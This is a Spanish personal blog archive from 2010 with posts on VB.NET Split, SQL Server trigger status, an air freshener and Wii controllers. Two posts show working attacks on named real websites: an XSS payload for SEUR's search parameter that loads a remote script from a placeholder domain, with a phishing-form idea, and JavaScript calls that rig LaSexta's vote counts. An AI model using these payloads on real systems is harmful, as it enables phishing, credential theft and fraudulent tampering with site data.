domingo, 27 de junio de 2010

Split, función vs método

En VisualBasic.NET existen dos definiciones para la instrucción Split, una es un método y la otra una función que, si bien pienso que deberian funcionar exactamente igual, tienen sus particularidades.

La función Split está definida en el NameSpace Microsoft.VisualBasic mientras que el método Split se encuentra en el NameSpace System.String. En principio parece ser que el NameSpace Microsoft.VisualBasic se definió como un conjunto de instrucciones para facilitar la migración de aplicaciones hechas en versiones anteriores de VisualBasic a .NET por lo que debemos entender que es el método Split el que Microsoft propone para los nuevos desarrollos en .NET

Para quien no lo sepa Split se utiliza para dividir una cadena en subcadenas utilizando uno o varios caracteres como elemento de corte, es decir, si tenemos el texto "Texto1@Texto2@Texto3" podriamos obtener tres cadenas independientes "Texto1", "Texto2", "Texto3" llamando al método (o a la función) Split con @ como caracter de corte.


Utilizando ambos métodos se obtiene que:
SubCadenas(0) = "Texto1"
SubCadenas(1) = "Texto2"
SubCadenas(2) = "Texto3"

El problema es que, en ocasiones necesitamos especificar varios caracteres de corte, por ejemplo, si en lugar de @ tenemos dos caracteres, por ejemplo @& y la cadena de texto original fuera "Texto1@&Texto2@&Texto3" se supone que deberiamos obtener el mismo resultado llamando al método o a la función utilizando esos caracteres pero realmente obtenemos lo siguiente.


Con el método Cadena.Split("@&") el resultado es:
SubCadenas(0) = "Texto1"
SubCadenas(1) = "&Texto2"
SubCadenas(2) = "&Texto3"

Mientras que utilizando la función Split(Cadena, "@&") si se obtiene:
SubCadenas(0) = "Texto1"
SubCadenas(1) = "Texto2"
SubCadneas(2) = "Texto3"

¿A que se debe esta discrepancia? el problema es que el método Split acepta una variable de tipo caracter como parámetro, es decir, un único caracter por lo que al pasarle "@&" realemnte solo esta teniendo en cuenta el caracter @ mientras que & es despreciado.
La función Split si acepta un String como parámetro por lo que si se estan considerando ambos caracteres y su resultado es el esperado.

Realmente el método Split si tiene una sobrecarga en la que se puede indicar un valor de tipo String (realmente un array de strings) pero dicha sobrecarga, tiene, además, otro parámetro StringSplitOptions que, en este caso no nos interesa pero a no ser que lo especifiquemos no conseguiremos que el método Split funcione como deseamos así que la llamada correcta seria:


De esta forma el valor de SubCadenas si es el mismo que utilizando la función Split, es decir:
SubCadenas(0) = "Texto1"
SubCadenas(1) = "Texto2"
SubCadneas(2) = "Texto3"

Pienso que en la definición del método Split se les pasó por alto hacer una sobrecarga para permitir un parámetro String de forma similar a la función Split, por lo menos creo que es bastante más cómodo.

sábado, 26 de junio de 2010

¿Te asusta tu Air Wick?

Esta semana hemos comprado un ambientador Air Wick Freshmatic I-Motion, si si, un nombre muy rimbombante pero es que el aparatito se las trae, se trata de un ambientador en spray que se acciona automáticamente a intervalos de 9, 18 o 36 minutos pero la característica principal de este modelo, el I-Motion, es que lleva incorporado un sensor de movimiento de forma que cuando detecta que hay "alguien" cerca acciona el disparador dispersando la fragancia...

Es precisamente esto lo que hace que nos hayamos pegado unos cuantos sustos al entrar al aseo ya que, por lo general, uno entra al cuarto de baño sin demasiadas preocupaciones y no espera escuchar ningún ruido "extraño" pero desde que tenemos el Air Wick Freshmatic I-Motion cada vez que entramos el sensor de movimiento nos detecta y acciona el disparador lo que produce un sonido característico de sssssssssss que nos suele pillar por sorpresa.

Ya nos vamos acostumbrando pero los primeros dias fueron de lo más "curiosos" y es que al final pasa lo que pasa, en los anuncios de Air Wick los cuartos de baño que salen son inmensos y seguramente no se escuchará el disparador y todos felices y contentos pero cuando se pone este tipo de aparatitos en un aseo "normal" da hasta yuyu jeje.

Ah, por cierto, ya puestos a comentar cosas del Air Wick debo decir que, para mi gusto, es demasiado grande, tiene practicamente el tamaño de una botella de champú y como no se puede esconder ya que sino dejaria de ser util el sensor de movimiento pues hay que tenerlo casi en primera línea y desentona un poco pero en fin, es lo que hay, por lo menos la fragancia Nenuco es bastante agradable.

Actualización 26/11/2010
Recién hoy se han acabado las 3 pilas tipo AA que lleva. No esta mal para estar todo el día puesto. Han durado 5 meses.

martes, 15 de junio de 2010

Activar o desactivar un trigger en SQL

Esta mañana un amigo se ha encontrado con el problema de saber si un trigger se encuentra activado o no en SQL Server 2000 así que nos hemos puesto a googlear pero solo hemos encontrado información para activar o desactivar un trigger.

En SQL Server 2000 existen dos comandos T-SQL que permiten activar o desactiavar un trigger.

Activar un trigger
ALTER TABLE [nombre_tabla] ENABLE TRIGGER [nombre_triger]

Desactivar un trigger
ALTER TABLE [nombre_tabla] DISABLE TRIGGER [nombre_triger]

Pero ¿hay alguna forma de saber el estado actual de un trigger?, es decir, ¿podemos saber si el trigger se encuentra activado o desactivado?. SQL si debe almacenar esta información en algún sitio pero ¿donde?. La primera idea que se me pasó por la cabeza fué mirar en la tabla de sistema sysobjects, a fin de cuentas, un trigger es un objeto más de la base de datos, pero, aparentemente, ninguno de los campos de sysobjects hace referencia directa al estado del trigger y, en la ayuda sobre dicha tabla tampoco se menciona esta opción pero aún así vamos a hacer la prueba comprobando los valores de sysobjects antes y después de desactivar un trigger de forma que podamos ver si se produce algún cambio en la información.

Primero activamos el trigger (aunque se supone que debe estar activado ya que es el comportamiento por defecto cuando se crea un trigger) y luego hacemos la SELECT sobre sysobjects para ver que contiene.



Después desactivamos el trigger y volvemos a ejecutar la SELECT sobre sysobjects.



Podemos ver que solo ha cambiado el valor de la columna status así que parece ser que es en dicho campo donde SQL guarda la información sobre el estado del trigger (activado/desactivado) y, por el nombre, status, parece lógico pese a que en la documentación de sysobjects no se mencione nada al respecto.

Cuando el trigger estaba activado el valor de la columna status era 1610614528 y cuando lo desactivamos la columna status pasa a tener el valor 1610616576 ¿que significan estos valores? No hay mucha documentación sobre el campo status pero tiene toda la pinta de ser que es un campo "flag" donde se guarda información a nivel de bit sobre el estado de determinadas funciones así que vamos a pasar a binario los valores obtenidos.

1610614528 -> 1100000000000000000011100000000 (binario)
1610616576 -> 1100000000000000000111100000000 (binario)

Esto tiene buena pinta. En binario los dos valores son exactamente iguales a excepción de uno de los bits así que se puede suponer que ese bit es el que indica si el trigger esta desactivado o no. Cuando ese valor se encuentre a 1 indicará que el trigger está desactivado y cuando se encuentre a 0 indicará que el trigger está activado.

Si ponemos a cero todos los valores exepto el que nos interesa obtendremos la mascara que debemos validar para saber el estado de un trigger.

1610614528 -> 1100000000000000000011100000000 (binario)
1610616576 -> 1100000000000000000111100000000 (binario)
 (mascara) -> 0000000000000000000100000000000 (binario)
 (mascara) -> 0x800 (hexadecimal)

Por comodidad he pasado su valor a hexadecimal para montar una SELECT que nos indique el estado de nuestro trigger de ejemplo.

SELECT name, CASE WHEN status & 0x800 = 0 THEN 1 ELSE 0 END as TriggerActivado

FROM sysobjects WHERE name = 'miTrigger'


Hay que tener en cuenta que Microsoft dice expresamente que la columna status de la tabla sysobjects esta reservada a uso interno por lo que se supone que podrian modificar su funcionalidad sin previo aviso aunque, hasta la fecha, sigue manteniendo este comportamiento pese a que ya existen versiones superiores a SQL Server 2000.

domingo, 13 de junio de 2010

Problema con mando compatible para Wii

La semana pasada compramos una Nintendo Wii, pero no voy a entrar en el debate sobre si es mejor una PS3 o una X-Box, para eso ya otros muchos blogs y foros, el motivo de este post es comentar el tema de los mandos compatibles para la Wii.

Cuando compramos la consola teniamos pensado utilizarla en pareja, es decir, buscar la mayor cantidad de títulos que nos dieran la posibilidad de jugar los dos (o más) al mismo tiempo pero uno de los principales problemas que te encuentras es que, por lo general, solo se incluye un mando así que te ves obligado a comprar otro adicional pero claro, después de hacer el desembolso de la consola pues "duele" tener que pagar casi 80 euros por el mando adicional.

Realmente el mando actual de la Wii lo forman tres accesorios, el mando principal (39.95€), el Nunchacu (19.95€) y el Motion Plus (19.95€), lo que hace la bonita suma de 79.85€


A estos tres accesorios hay que añadirle una "bonita" funda de silicona que suele venir incluida con el mando principal o con el Motion Plus.

Ahora ya conocemos los mandos de la Wii y tenemos claro que no queremos dejarnos 80 euros por lo que al ver que existen mandos compatibles se nos abren los ojos y es que resulta tentador ya que un pack de la marca Mad Catz con el mando principal y el Nunchacu cuesta 39.90€

Solo faltaría el Motion Plus pero para empezar a probar la consola ya nos damos por bien servidos.
Todo parecía ir bien hasta que jugando al Wii Sport Resort, concretamente a los bolos, una vecina se dio cuenta que ella nunca hacia plenos mientras que los demás participantes los hacian con bastante facilidad. Después de unas cuantas rondas nos dimos cuenta que siempre utilizaba el mando compatible así que decidimos cambiar y desde ese momento empezó a subir su puntuación y a hacer plenos.

Algo parecia fallar en el mando compatible, es como si no diera suficiente impulso, pense que tal vez fueran las pilas o que necesitase el Motion Plus pero le cambie las pilas, incluso le puse las pilas del mando original pero no dio resultado como tampoco dio resultado ponerle el Motion Plus de Nintendo así que, muy a nuestro pesar decidimos devolverlo, pasar por el aro y comprar los mandos originales.

Felizmente nos dimos una pequeña alegria al ver que Nintendo también habia sacado un pack con el mando principal y el Motion Plus por 49.95€ por lo que si añadimos los 19.95 del Nunchacu el total asciende a 69.90€. El ahorro no es tan espectacular pero algo es algo ¿no?


Solo falta decir que con el nuevo mando original si se consiguieron nuevos plenos en los bolos.
Con esto no quiero decir que todos los mandos compatibles tengan algún tipo de problema ni que los de Mad Catz lo tengan, simplemente pudo ser que el que nos tocó estaba defectuoso.

En DealExtreme también existen multitud de accesorios para Wii y entre ellos podemos encontrar el mando original con el Nunchacu y el Motion Plus.

miércoles, 9 de junio de 2010

Wally paseandose por Seur

Wally vuelve a pasearse a sus anchas por otra página con XSS, en este caso, la web de SEUR.

El formulario del buscador no filtra la entrada del usuario que es mostrada como parte de la búsqueda por lo que cualquier script introducido será ejecutado como parte de la página, ya sea el típico

<script>alert("hola mundo")</script>

o algo más peligroso como

<script src="http://dominio.com/script.js"></script>


Lo peor de todo esto es que el parámetro del buscador esta accesible mediante la url de la página (parámetro ayudaTextBox) por lo que se puede incluir este script en un enlace y enviarlo a cualquier persona.


Sigo pensando que el XSS esta infravalorado ya que realmente se pueden hacer muchas maldades utilizando pequeños scripts ¿y si en lugar de poner una imagen mostrando al inocente Wally modificasemos el script para que mostrase un formulario de registro similar al de la propia web pero capturando los datos del usuario? ¿podriamos hacer "picar" en el engaño a alguno de los usuarios registrados... seguramente sí.

Falsear votaciones de LaSexta

Últimamente estoy hablando mucho sobre los bookmarklets pero es que realmente tienen muchas aplicaciones. Normalmente son pequeños scripts que nos facilitan la vida al realizar tareas monotonas pero también permiten acceder a funcionalidad de la página lo cual puede ser "peligroso" si el programador no ha previsto que el usuario pueda hacer llamadas con parámetros modificados.

Concretamente, en LaSexta.com, son las votaciones las que pueden ser victima de este tipo de "ataques" ya que el programador ha supuesto que nadie alteraria los parámetros de entrada de sus funciones.

Veamos un ejemplo. Si accedemos esta página de LaSexta.com vemos un video de Dani Mateo en el programa "Se lo que hicisteis...", y un sistema de votaciones con las típicas estrellitas abajo a la derecha.


Si somos algo curiosos y miramos el código fuente de la página veremos que cada una de las estrellas tiene asociado un código javascript que se ejecutará al pulsar sobre ella.


Se puede apreciar que al pulsar sobre las estrellas se llama a la función votar indicandole un código que, a priori, no nos dice nada pero llama la atención ver como el primer caracter se corresponde con el número de puntos a sumar a la votación.

votar('1_155802_28_3_11') -- 1 punto
votar('2_155802_28_3_11') -- 2 puntos
votar('3_155802_28_3_11') -- 3 puntos
votar('4_155802_28_3_11') -- 4 puntos
votar('5_155802_28_3_11') -- 5 puntos

¿Que pasaría si forzamos una llamada a la función votar modificando ese parámetro?, por ejemplo:

votar('100_155802_28_3_11')

¿Se contabilizarian 100 puntos?. Para probarlo podemos escribir este código en la barra del navegador, al estilo de un bookmarklet.


Vaya, parece que no hemos tenido exito y la votación no ha sido reconocida, o, por lo menos, esa es la sensación que da al ver el texto "Undefined" junto a las estrellas de la votación. Debe ser que el programador ha tenido en cuenta este problema y verifica los datos de entrada de la función... ¿o no?

Veamos con otro ejemplo:
votar('5+70_273381_2_1_10')

Nuevamente, lo ejecutamos en la barra de direcciones del navegador y... ¡sorpresa!


¿Su voto fué guardado correctamente? ¿querra decir esto que efectivamente se ha actualizado la votación? ¿cuantos puntos se habrán contabilizado? Todas estas preguntas tienen respuesta al recargar la página ya que vemos que el computo final de la votación asciende a ¡¡¡75 votos!!!


Así que se puede apreciar que el código javascript modificado ha tenido exito y, de 0 votos ha pasado a tener 75, es decir 0+5+70. Curioso ¿verdad? ¿querrá decir esto que se puede indicar cualquier operación aritmética como parámetro en la función votar? vamos a ver otro ejemplo...

votar('5-15_155802_28_3_11')

Al ejecutarlo en el navegador podemos ver que efectivamente, se le han restado 10 votos (5-15 = -10) y que actualmente la votación tiene 65 puntos, es decir, 75+5-15.


Con lo que parece que se puede concluir que la función votar acepta cualquier tipo de operación aritmética de forma que es facil manipular este tipo de votaciones, incrementando o decrementando el número total de votos a nuestro gusto.

Una cosa a tener en cuenta en este proceso es que tanto el código de la función votar como el código utilizado para visualizar el número de votos se encuentra en el lado del cliente (código HTML/Javascript) por lo que normalmente el navegador lo tendrá cacheado y es por eso que parezca que no siempre se modifica la votación cuando debería (con borrar la caché se verá la votación actualizada). También hay que tener en cuenta que el sistema de votaciones de LaSexta no funciona demasiado bien con Internet Explorer (yo he usado Firefox) por lo que si lo intentais utilizando IE es posible que obtengais algún error de JavaScript.